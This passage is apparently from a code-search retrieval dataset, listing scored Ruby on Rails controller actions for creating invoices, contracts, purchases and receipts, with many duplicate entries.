|format|\n format.html # new.html.erb\n format.json { render json: @invoice }\n end\n end", "title": "" }, { "docid": "5af084f453c874103f8d7f299c3eb1e9", "score": "0.81251746", "text": "def new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @invoice }\n end\n end", "title": "" }, { "docid": "5af084f453c874103f8d7f299c3eb1e9", "score": "0.81251746", "text": "def new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @invoice }\n end\n end", "title": "" }, { "docid": "e3678f933874cbfb44323a154f82df6e", "score": "0.7827557", "text": "def new\n @invoice = Invoice.new\n @invoice.line_items.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @invoice }\n end\n end", "title": "" }, { "docid": "ae32a35a51b65390b89961ee631e7084", "score": "0.76123965", "text": "def new\n @invoice_line = InvoiceLine.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @invoice_line }\n end\n end", "title": "" }, { "docid": "d684105d0e73f4691b184818a356ab5d", "score": "0.75974286", "text": "def new\n @invoiceitem = Invoiceitem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @invoiceitem }\n end\n end", "title": "" }, { "docid": "7a7e6cb1172e9e6f8d5ff37b14e40984", "score": "0.7553887", "text": "def new\n @invoice_line_item = InvoiceLineItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @invoice_line_item }\n end\n end", "title": "" }, { "docid": "2f91ec3387288abcd47cab758f9ccd86", "score": "0.7536902", "text": "def new\n @breadcrumb = 'create'\n @invoice_status = InvoiceStatus.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @invoice_status }\n end\n end", "title": "" }, { "docid": "73351d157642a18fa5681eeb9c6540f2", "score": "0.7491109", "text": "def new\n @user = current_user\n @patient = @user.patients.find(params[:patient_id])\n @invoice = @patient.invoices.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @invoice }\n end\n end", "title": "" }, { "docid": "d20174e8d4c9cab5e672876eb521e375", "score": "0.7490882", "text": "def new\n @breadcrumb = 'create'\n @invoice = Invoice.new\n @organizations, @include_blank = organizations_according_oco\n @sale_offers = sale_offers_dropdown\n @projects = projects_dropdown\n @charge_accounts = projects_charge_accounts(@projects)\n # @clients = clients_dropdown\n @client = \" \"\n @payment_methods = payment_methods_dropdown\n @status = invoice_statuses_dropdown if @status.nil?\n @types = invoice_types_dropdown if @types.nil?\n @operations = invoice_operations_dropdown if @operations.nil?\n # @products = products_dropdown\n # @offer_items = []\n\n # manually handle authorization\n authorize! :new, @invoice\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @invoice }\n end\n end", "title": "" }, { "docid": "e720a9406b9d56359fc45d9ae7c68618", "score": "0.7461735", "text": "def new\n @invoice_payment = InvoicePayment.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @invoice_payment }\n end\n end", "title": "" }, { "docid": "9705ad26a291097badd923267adde110", "score": "0.74519", "text": "def new\n @payment = Payment.new\n @invoice = Invoice.find(params[:invoice_id])\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @payment }\n end\n end", "title": "" }, { "docid": "459535a39ae5c1417310b3c64bb39b0a", "score": "0.7394043", "text": "def new\n\n @breadcrumb = 'create'\n @invoice_operation = InvoiceOperation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @invoice_operation }\n end\n end", "title": "" }, { "docid": "c632c083b8a173db72af89cab755ec5e", "score": "0.7384964", "text": "def new\n @pagetitle = \"New invoice\"\n @action_txt = \"Create\"\n \n @invoice = Invoice.new\n @invoice[:code] = \"I_#{generate_guid()}\"\n @invoice[:processed] = false\n \n @company = Company.find(params[:company_id])\n @invoice.company_id = @company.id\n \n @locations = @company.get_locations()\n @divisions = @company.get_divisions()\n \n @ac_user = getUsername()\n @invoice[:user_id] = getUserId()\n end", "title": "" }, { "docid": "a07ea3e33f17b2844def8df0dcc1c683", "score": "0.73845845", "text": "def new\n @invoice = Invoice.new\n @invlineitem = @invoice.inv_line_items\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @invoice }\n end\n end", "title": "" }, { "docid": "2a848930fad3901b6cda8ec6dde54bf1", "score": "0.7376997", "text": "def new\n if params[:invoice_id]==nil\n return redirect_to static_pages_invalidurlerror_path\n end\n @invoice_detail = InvoiceDetail.new\n @invoice_detail.invoice_id=params[:invoice_id]\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @invoice_detail }\n end\n end", "title": "" }, { "docid": "f993df3c9a038c32f87c4688ca0824da", "score": "0.7366705", "text": "def new\n @invoice = Invoice.new\n @invoice.paid = false\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @invoice }\n end\n end", "title": "" }, { "docid": "a8d4935ab6ddc326bd4c9f99113f075d", "score": "0.735859", "text": "def new\n @title = \"Client Invoices\"\n respond_to do |format|\n if params[:provider_id]\n @object = Provider.find(params[:provider_id])\n @name = @object.provider_name\n @object.selector = Selector::PROVIDER\n set_provider_session @object.id, @object.provider_name\n elsif params[:group_id]\n @object = Group.find(params[:group_id])\n @name = @object.group_name\n @object.selector = Selector::GROUP\n set_group_session @object.id, @object.group_name\n else\n format.html { redirect_to invoices_path, notice: \"A Provider or Group must first be selected.\" }\n end\n @invoice = @object.invoices.new(:created_user => current_user.login_name)\n\n # sort the invoice_details by provider, patient, dos\n # use sort_by because this is all in memory\n # @invoice.invoice_details.sort_by!{|x| [x.provider_name, x.patient_name, x.dos] }\n\n @invoice_method = InvoiceCalculation::METHODS\n @payment_terms = Invoice::PAYMENT_TERMS\n @display_sidebar = true\n @back_index = true\n\n format.html # new.html.erb\n format.json { render json: @invoice }\n end\n end", "title": "" }, { "docid": "a721341fd23fce1b8c0db9e696384d08", "score": "0.735551", "text": "def create\n @invoice = Invoice.new(invoice_params)\n\n if @invoice.save\n render json: @invoice, status: :created, location: @invoice\n else\n render json: @invoice.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "a8f2dbfb5b9fb51e3abed2c3344b8bfa", "score": "0.73320943", "text": "def create\n respond_to do |format|\n if @invoices.save\n format.html { redirect_to @invoice, notice: 'Invoice was successfully created.' }\n format.json { render json: @invoice, status: :created, location: @invoice }\n else\n format.html { render action: \"new\" }\n format.json { render json: @invoice.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "22bbf8585a72e452a8be31c8d8425606", "score": "0.7314721", "text": "def new\n @invoice = Invoice.new\n\n 1.times do\n item = @invoice.items.build\n end\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @invoice }\n end\n end", "title": "" }, { "docid": "d37e7590d2e3f3417fc14e1d0ad3295f", "score": "0.7283495", "text": "def create\n @invoice = Invoice.new(params[:invoice])\n\n respond_to do |format|\n if @invoice.save\n format.html { redirect_to @invoice, notice: 'Invoice was successfully created.' }\n format.json { render json: @invoice, status: :created, location: @invoice }\n else\n format.html { render action: \"new\" }\n format.json { render json: @invoice.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d37e7590d2e3f3417fc14e1d0ad3295f", "score": "0.7283495", "text": "def create\n @invoice = Invoice.new(params[:invoice])\n\n respond_to do |format|\n if @invoice.save\n format.html { redirect_to @invoice, notice: 'Invoice was successfully created.' }\n format.json { render json: @invoice, status: :created, location: @invoice }\n else\n format.html { render action: \"new\" }\n format.json { render json: @invoice.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d37e7590d2e3f3417fc14e1d0ad3295f", "score": "0.7283495", "text": "def create\n @invoice = Invoice.new(params[:invoice])\n\n respond_to do |format|\n if @invoice.save\n format.html { redirect_to @invoice, notice: 'Invoice was successfully created.' }\n format.json { render json: @invoice, status: :created, location: @invoice }\n else\n format.html { render action: \"new\" }\n format.json { render json: @invoice.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d37e7590d2e3f3417fc14e1d0ad3295f", "score": "0.7283495", "text": "def create\n @invoice = Invoice.new(params[:invoice])\n\n respond_to do |format|\n if @invoice.save\n format.html { redirect_to @invoice, notice: 'Invoice was successfully created.' }\n format.json { render json: @invoice, status: :created, location: @invoice }\n else\n format.html { render action: \"new\" }\n format.json { render json: @invoice.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d96cbe7e3efa38e6e5c62e74c475df97", "score": "0.7266687", "text": "def new\n\t\tsale = Sale.where(\"sale_type like ?\", \"CB%\").last\n\t\tinvoice = sale ? sale.invoice.next : \"CB - 1\"\n @sale = Sale.new(:invoice => invoice)\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @sale }\n end\n end", "title": "" }, { "docid": "a32468e65545ab9a1e8bf7e552972b96", "score": "0.7246933", "text": "def new\n @invoice = Invoice.new\n 1.times {@invoice.orders.build}\n 1.times {@invoice.payments.build}\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @invoice }\n end\n end", "title": "" }, { "docid": "a39cd03c5f94282275f1b784fe33429a", "score": "0.72435474", "text": "def new\n @invoice = Invoice.new\n @visits = Visit.where(:invoice_id => nil)\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @invoice }\n end\n end", "title": "" }, { "docid": "fa0454a2b18ed50e40adcbd5330de174", "score": "0.7234316", "text": "def new\n @invoice = Invoice.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @invoice }\n end\n end", "title": "" }, { "docid": "fa0454a2b18ed50e40adcbd5330de174", "score": "0.7234316", "text": "def new\n @invoice = Invoice.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @invoice }\n end\n end", "title": "" }, { "docid": "fa0454a2b18ed50e40adcbd5330de174", "score": "0.7234316", "text": "def new\n @invoice = Invoice.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @invoice }\n end\n end", "title": "" }, { "docid": "a9b36cd0695933472ca92470f3865313", "score": "0.72109", "text": "def create\n @invoice = Invoice.new(invoice_params)\n\n if @invoice.save\n render :show, status: :created\n else\n render json: @invoice.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "a8f1fadfb68aa1a1178f230a561549e4", "score": "0.717216", "text": "def new\n @received_line_item = ReceivedLineItem.new\n @invoice = Invoice.find(params[:invoice_id])\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @received_line_item }\n end\n end", "title": "" }, { "docid": "2e68a7200cbf7121d26fed5863bfacb3", "score": "0.7148694", "text": "def new\n @invoice = Invoice.new\n @client = Client.new\n @article = Article.new\n @resume = Resume.new\n @user = current_user\n @user = User.find(@user.id)\n @students = Student.find(:all)\n\n 1.times { @invoice.articles.build }\n\n @folio = Folio.find_activo_by_user_id(current_user.id)\n @availableFolios = FolioDetail.find_by_folio_id_and_status(@folio, 1)\n\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @invoice }\n end\n end", "title": "" }, { "docid": "98f40b08f41d31a4ee6180c17506706c", "score": "0.7148533", "text": "def create\n @invoice = Invoice.new(params[:invoice])\n\n respond_to do |format|\n if @invoice.save\n format.html { redirect_to @invoice, notice: t('activerecord.attributes.invoice.create') }\n format.json { render json: @invoice, status: :created, location: @invoice }\n else\n format.html { render action: \"new\" }\n format.json { render json: @invoice.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f9c2b918f9c2239132183253f96b0939", "score": "0.7109613", "text": "def new\n @invoice = Invoice.new_invoice @company, @current_user, @financial_year, request.remote_ip, params\n respond_to do |format|\n format.html {redirect_to edit_invoice_path(@invoice)}\n format.xml { render :xml => @invoice }\n end\n end", "title": "" }, { "docid": "3a8ae1c403b22707a4ef71db65352a43", "score": "0.7103136", "text": "def create\n @invoice = Invoice.new(invoice_params)\n\n respond_to do |format|\n if @invoice.save\n format.html { redirect_to @invoice, notice: 'Invoice was successfully created.' }\n format.json { render action: 'show', status: :created, location: @invoice }\n else\n format.html { render action: 'new' }\n format.json { render json: @invoice.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3a8ae1c403b22707a4ef71db65352a43", "score": "0.7102344", "text": "def create\n @invoice = Invoice.new(invoice_params)\n\n respond_to do |format|\n if @invoice.save\n format.html { redirect_to @invoice, notice: 'Invoice was successfully created.' }\n format.json { render action: 'show', status: :created, location: @invoice }\n else\n format.html { render action: 'new' }\n format.json { render json: @invoice.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3a8ae1c403b22707a4ef71db65352a43", "score": "0.7102344", "text": "def create\n @invoice = Invoice.new(invoice_params)\n\n respond_to do |format|\n if @invoice.save\n format.html { redirect_to @invoice, notice: 'Invoice was successfully created.' }\n format.json { render action: 'show', status: :created, location: @invoice }\n else\n format.html { render action: 'new' }\n format.json { render json: @invoice.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3a8ae1c403b22707a4ef71db65352a43", "score": "0.7102344", "text": "def create\n @invoice = Invoice.new(invoice_params)\n\n respond_to do |format|\n if @invoice.save\n format.html { redirect_to @invoice, notice: 'Invoice was successfully created.' }\n format.json { render action: 'show', status: :created, location: @invoice }\n else\n format.html { render action: 'new' }\n format.json { render json: @invoice.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ab8f45ec1f2d7771141f768f048b7f33", "score": "0.71019924", "text": "def new\n\t\t# @job = Job.find_by(id: params[:job_id])\n\t\tnew_invoice_with_params\n\tend", "title": "" }, { "docid": "92e2675f088b99d0365331187f2ad35b", "score": "0.7085019", "text": "def new\r\n @tax_invoice = TaxInvoice.new\r\n @products = Product.all\r\n @orders = Order.all\r\n @companies = Company.all\r\n\r\n\r\n\r\n respond_to do |format|\r\n format.html # new.html.erb\r\n format.json { render json: @tax_invoice }\r\n end\r\n end", "title": "" }, { "docid": "503759fcdfbcfcb3d794044d31259461", "score": "0.7072697", "text": "def new\n \n @invoice = @customer.invoices.new\n 1.times {@invoice.orders.build}\n 1.times {@invoice.payments.build}\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @invoice }\n end\n end", "title": "" }, { "docid": "e9fedff93f6080064c4330c3e77e0404", "score": "0.7035728", "text": "def new\n @invoice_in = InvoiceIn.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @invoice_in }\n end\n end", "title": "" }, { "docid": "4f65fef35efd79761a37c093a2782dd1", "score": "0.70188254", "text": "def create\n @invoice = Invoice.new(invoice_params)\n\n respond_to do |format|\n if @invoice.save\n format.html { redirect_to @invoice, notice: 'Invoice was successfully created.' }\n format.json { render :show, status: :created, location: @invoice }\n else\n format.html { render :new }\n format.json { render json: @invoice.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4f65fef35efd79761a37c093a2782dd1", "score": "0.70188254", "text": "def create\n @invoice = Invoice.new(invoice_params)\n\n respond_to do |format|\n if @invoice.save\n format.html { redirect_to @invoice, notice: 'Invoice was successfully created.' }\n format.json { render :show, status: :created, location: @invoice }\n else\n format.html { render :new }\n format.json { render json: @invoice.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4f65fef35efd79761a37c093a2782dd1", "score": "0.70188254", "text": "def create\n @invoice = Invoice.new(invoice_params)\n\n respond_to do |format|\n if @invoice.save\n format.html { redirect_to @invoice, notice: 'Invoice was successfully created.' }\n format.json { render :show, status: :created, location: @invoice }\n else\n format.html { render :new }\n format.json { render json: @invoice.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4f65fef35efd79761a37c093a2782dd1", "score": "0.70188254", "text": "def create\n @invoice = Invoice.new(invoice_params)\n\n respond_to do |format|\n if @invoice.save\n format.html { redirect_to @invoice, notice: 'Invoice was successfully created.' }\n format.json { render :show, status: :created, location: @invoice }\n else\n format.html { render :new }\n format.json { render json: @invoice.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4f65fef35efd79761a37c093a2782dd1", "score": "0.70188254", "text": "def create\n @invoice = Invoice.new(invoice_params)\n\n respond_to do |format|\n if @invoice.save\n format.html { redirect_to @invoice, notice: 'Invoice was successfully created.' }\n format.json { render :show, status: :created, location: @invoice }\n else\n format.html { render :new }\n format.json { render json: @invoice.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "84e353fbed5d1647dafa998601d0b7ae", "score": "0.70182455", "text": "def new\n @payment_invoice = PaymentInvoice.new\n @payment_invoice.space = current_space\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @payment_invoice }\n end\n end", "title": "" }, { "docid": "adbffc1a0349a2d1a9b489e2d7615fc0", "score": "0.70177597", "text": "def create\n @invoice = Invoice.new(invoice_params)\n respond_to do |format|\n if @invoice.save\n format.html { redirect_to @invoice, notice: 'Invoice was successfully created.' }\n format.json { render :show, status: :created, location: @invoice }\n else\n format.html { render :new }\n format.json { render json: @invoice.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3d5f5ef4a07cf087c4e7fb1101296ca8", "score": "0.7014571", "text": "def new\n\t\tproject = Project.find params[:project_id]\n\t\t@invoice = Invoice.new(\n\t\t\tproject_user_relation_id: params[:project_user_relation_id],\n\t\t\tinvoice_type_id: InvoiceType.find_by_code(params[:type]).id,\n\t\t sum_czk: project.to_charge\n\t\t)\n\t\t@relation = @invoice.project_user_relation\n\t\t@invoice.sum_czk = @relation.to_charge if @relation.user != current_user\n\n\t\tmake_breadcrumbs\n\n\t\trespond_to do |format|\n\t\t\tformat.html # new.html.erb\n\t\t\tformat.json { render json: @invoice }\n\t\tend\n\tend", "title": "" }, { "docid": "4fae2343ea5dad2d3ef00b60747e3ec2", "score": "0.7000081", "text": "def new\n @invitacion = Invitacion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @invitacion }\n end\n end", "title": "" }, { "docid": "5795feb5415a6fb2398253dabd6875e4", "score": "0.69715476", "text": "def new\n @invoices = Invoice.all\n @billing_entity = BillingEntity.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @billing_entity }\n end\n end", "title": "" }, { "docid": "776104d90c93998eb9bc705fcdb84d59", "score": "0.6954811", "text": "def new\n @invoice_header = InvoiceHeader.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @invoice_header }\n end\n end", "title": "" }, { "docid": "e694b3a1d14656a7c36fec26de552a34", "score": "0.6940991", "text": "def new\n @quotation = Quotation.find(cookies[:quotation_id])\n @invoice = Invoice.new\n run_docnumber\n default_cancel\n @invoice.tax = @quotation.tax\n @invoice.doc_date= Date.today.tomorrow\n @invoice.approve=false\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @invoice }\n format.json { render :json => @invoice }\n end\n end", "title": "" }, { "docid": "243f4864c20b06b1a53a6f765e30bea3", "score": "0.69377315", "text": "def new\n @invoice = Invoice.new\n @item = Item.new # Fix for error list, which throws exception if item is nil\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @invoice }\n end\n end", "title": "" }, { "docid": "9ad615d857396f74db70aa2b904e1362", "score": "0.6934489", "text": "def create\n @invoice = Invoice.new(invoice_params)\n\n respond_to do |format|\n if @invoice.save\n format.html { redirect_to @invoice, notice: 'Invoice was successfully created.' }\n format.json { render :show, status: :created, location: @invoice }\n else\n format.html { render :new }\n format.json { render json: @invoice.errors, status: :unprocessable_entity }\n end\n end\n\n\n end", "title": "" }, { "docid": "98a25bb426f19c0878d0b92d1e1aba62", "score": "0.693254", "text": "def new\n @invoice = Invoice.new(\n :job_id => params[:id],\n :status => \"Open\",\n :invoice_number => ( Invoice.all.map{ |i| i.invoice_number }.sort.reverse[0] ||= 0).to_i + 1\n )\n if @invoice.job.nil?\n @jobs_array = Job.all.map{ |j| [ j.name, j.id ] }\n end\n\n #raise @invoice.inspect\n #raise @jobs_array.inspect\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @invoice }\n end\n end", "title": "" }, { "docid": "60141f0f7ad9b7cfe09d27706aad2965", "score": "0.6931679", "text": "def new\n @vendor_invoice = VendorInvoice.new\n prepFormVariables\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @vendor_invoice }\n end\n end", "title": "" }, { "docid": "61610468d9dcd8750006ccd3d02e6585", "score": "0.6929388", "text": "def new\n @contract = Contract.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @contract }\n end\n end", "title": "" }, { "docid": "61610468d9dcd8750006ccd3d02e6585", "score": "0.6929388", "text": "def new\n @contract = Contract.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @contract }\n end\n end", "title": "" }, { "docid": "61610468d9dcd8750006ccd3d02e6585", "score": "0.6929388", "text": "def new\n @contract = Contract.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @contract }\n end\n end", "title": "" }, { "docid": "61610468d9dcd8750006ccd3d02e6585", "score": "0.6929388", "text": "def new\n @contract = Contract.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @contract }\n end\n end", "title": "" }, { "docid": "a2f0307eb3a7317979a65f0d30d3ff48", "score": "0.6925029", "text": "def new\n @invoice_line = InvoiceLine.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @invoice_line }\n end\n end", "title": "" }, { "docid": "a7852eec1f512f61360b805333380177", "score": "0.6911901", "text": "def new\n @group_purchase = GroupPurchase.find(params[:group_purchase_id])\n @invoice = Invoice.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @invoice }\n end\n end", "title": "" }, { "docid": "b1b28a0968bce2293183db08f2d0f937", "score": "0.6910144", "text": "def new\n @invoice = Invoice.new\n clients = current_user.clients.order(\"name ASC\")\n @client_names = []\n clients.each do |c|\n @client_names << c.name\n end\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @invoice }\n end\n end", "title": "" }, { "docid": "03a3563a61f619eeed6098205d6eb801", "score": "0.69093543", "text": "def new\n @payment = Payment.new\n if params[:id_invoice]\n @payment.invoice_id = params[:id_invoice]\n @payment.payment_status_id = PaymentStatus.find_by_code_status('APPLIED').id\n end\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @payment }\n end\n end", "title": "" }, { "docid": "d7b6a3c4b1074b71b4a33aa8e1cf6edc", "score": "0.6906708", "text": "def create\n @invoice = Invoice.new(invoice_params)\n\n respond_to do |format|\n if @invoice.save\n format.html { redirect_to @invoice, notice: \"Invoice was successfully created.\" }\n format.json { render :show, status: :created, location: @invoice }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @invoice.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "fc538275eb3bf5f989544eb4f8cf5fc2", "score": "0.6887126", "text": "def new\n @invoiceline = Invoiceline.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @invoiceline }\n end\n end", "title": "" }, { "docid": "dd34f2b33334a576619c00937929a1c1", "score": "0.6882025", "text": "def new\n @incentive = Incentive.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @incentive }\n end\n end", "title": "" }, { "docid": "37fbab9c0e452337feb1562284ad7a6b", "score": "0.6880884", "text": "def new\n @invoice_blurb = InvoiceBlurb.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @invoice_blurb }\n end\n end", "title": "" }, { "docid": "e73c47bbd01f253388f0acc14daa0bc6", "score": "0.6880677", "text": "def create(options = nil)\n request = Request.new(@client)\n path = \"/invoices\"\n data = {\n \"name\"=> @name, \n \"amount\"=> @amount, \n \"currency\"=> @currency, \n \"metadata\"=> @metadata, \n \"request_email\"=> @request_email, \n \"request_shipping\"=> @request_shipping, \n \"return_url\"=> @return_url, \n \"cancel_url\"=> @cancel_url\n }\n\n response = Response.new(request.post(path, data, options))\n return_values = Array.new\n \n body = response.body\n body = body[\"invoice\"]\n \n \n return_values.push(self.fill_with_data(body))\n \n\n \n return_values[0]\n end", "title": "" }, { "docid": "568234a07a644fc852f08b722d74eea5", "score": "0.6873642", "text": "def new\n self.invoice_var = invoice_model.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => invoice_var }\n end\n end", "title": "" }, { "docid": "da2517a6582f56d6cdce3d8d4acaee80", "score": "0.68602896", "text": "def new\n @purchase = Purchase.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @purchase }\n end\n end", "title": "" }, { "docid": "da2517a6582f56d6cdce3d8d4acaee80", "score": "0.68602896", "text": "def new\n @purchase = Purchase.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @purchase }\n end\n end", "title": "" }, { "docid": "da2517a6582f56d6cdce3d8d4acaee80", "score": "0.68602896", "text": "def new\n @purchase = Purchase.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @purchase }\n end\n end", "title": "" }, { "docid": "da2517a6582f56d6cdce3d8d4acaee80", "score": "0.68602896", "text": "def new\n @purchase = Purchase.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @purchase }\n end\n end", "title": "" }, { "docid": "da2517a6582f56d6cdce3d8d4acaee80", "score": "0.68602896", "text": "def new\n @purchase = Purchase.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @purchase }\n end\n end", "title": "" }, { "docid": "c8c6892d553f4a422ecb51c3415d0039", "score": "0.6843531", "text": "def new\n @contract = Contract.find params[:contract_id]\n @invoice = Invoice.new(contract_id: @contract.id)\n now =\tDateTime.now.month\n @invoice_months = InvoiceMonth.where('month >= ? and year >= ?', now.month, now.year)\n @invoice_months.sort_by! {|im| [im.year, im.month] } \n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @invoice }\n end\n end", "title": "" }, { "docid": "99758bb59aa145e5efa38429ab57f5b4", "score": "0.6838844", "text": "def new\n @receipt = Receipt.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @receipt }\n end\n end", "title": "" }, { "docid": "99758bb59aa145e5efa38429ab57f5b4", "score": "0.6838844", "text": "def new\n @receipt = Receipt.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @receipt }\n end\n end", "title": "" }, { "docid": "99758bb59aa145e5efa38429ab57f5b4", "score": "0.6838844", "text": "def new\n @receipt = Receipt.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @receipt }\n end\n end", "title": "" }, { "docid": "6e33444ad20e5b7ab4951bdf0c6fa8f4", "score": "0.6835646", "text": "def create\n @invoice = authorize company.invoices.build(create_params)\n if @invoice.save\n render 'show', status: :created\n else\n render json: { errors: @invoice.errors }, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "bc1938eeb298fd8ad5a0e5e07cdf4674", "score": "0.6827276", "text": "def new\n @receipt = Receipt.new \n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @receipt }\n end\n end", "title": "" }, { "docid": "546f6382e26a2f0c12bd486c41ff2167", "score": "0.68207896", "text": "def new\n @invoiceitem = Invoiceitem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @invoiceitem }\n end\n end", "title": "" }, { "docid": "39fe08ebd01aa2ebc5730efc710e3c4a", "score": "0.68139726", "text": "def new\n @purchase = Purchase.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @purchase }\n end\n end", "title": "" }, { "docid": "6ba568bef58425200da1bc4d391a8805", "score": "0.68075293", "text": "def new\n \n @bills = InvoicingLedgerItem.where(type: 'Bill') # Need this so Bill.new will work\n @bill = Bill.new\n #@bill.line_items.build\n #@invoicing_line_item = InvoicingLineItem.new\n \n respond_with(@bill)\n end", "title": "" }, { "docid": "e87d565f16aae15edcd54f041f5a5c9b", "score": "0.6799462", "text": "def create\n \n @invoice = Invoice.new(invoice_params)\n\n respond_to do |format|\n if @invoice.save\n format.html { redirect_to @invoice, notice: 'Orden creada correctamente.' }\n format.json { render :show, status: :created, location: @invoice }\n else\n format.html { render :new }\n format.json { render json: @invoice.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bf0a346e3980f66b2606d01426cd4f19", "score": "0.6799192", "text": "def new\n @invent_journal = InventJournal.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @invent_journal }\n end\n end", "title": "" }, { "docid": "9dac0dac61cf04c4435fef469396f964", "score": "0.6795337", "text": "def create\n @breadcrumb = 'create'\n @invoice = Invoice.new(params[:invoice])\n @invoice.created_by = current_user.id if !current_user.nil?\n\n # manually handle authorization\n authorize! :create, @invoice\n\n respond_to do |format|\n #\n # Must create associated bill\n #\n bill_id = bill_create(params[:Project],\n params[:Client],\n params[:invoice][:invoice_date].to_date,\n params[:invoice][:payment_method_id].to_i)\n @invoice.bill_id = bill_id == 0 ? nil : bill_id\n @invoice.invoice_operation_id = InvoiceOperation::INVOICE\n @invoice.biller_id = Project.find(params[:Project]).company_id\n\n # Go on\n if @invoice.save\n format.html { redirect_to commercial_billing_path(@invoice), notice: crud_notice('created', @invoice) }\n format.json { render json: @invoice, status: :created, location: @invoice }\n else\n @organizations, @include_blank = organizations_according_oco\n @sale_offers = sale_offers_dropdown\n @projects = projects_dropdown\n @charge_accounts = projects_charge_accounts(@projects)\n # @clients = clients_dropdown\n @client = \" \"\n @payment_methods = payment_methods_dropdown\n @status = invoice_statuses_dropdown if @status.nil?\n @types = invoice_types_dropdown if @types.nil?\n @operations = invoice_operations_dropdown if @operations.nil?\n # @products = products_dropdown\n # @offer_items = []\n format.html { render action: \"new\" }\n format.json { render json: @invoice.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" } ]
e794019703bdce06a4a1d7a27e5c6ae5
This cannot be run in parallel because it needs to manipulate the global log level
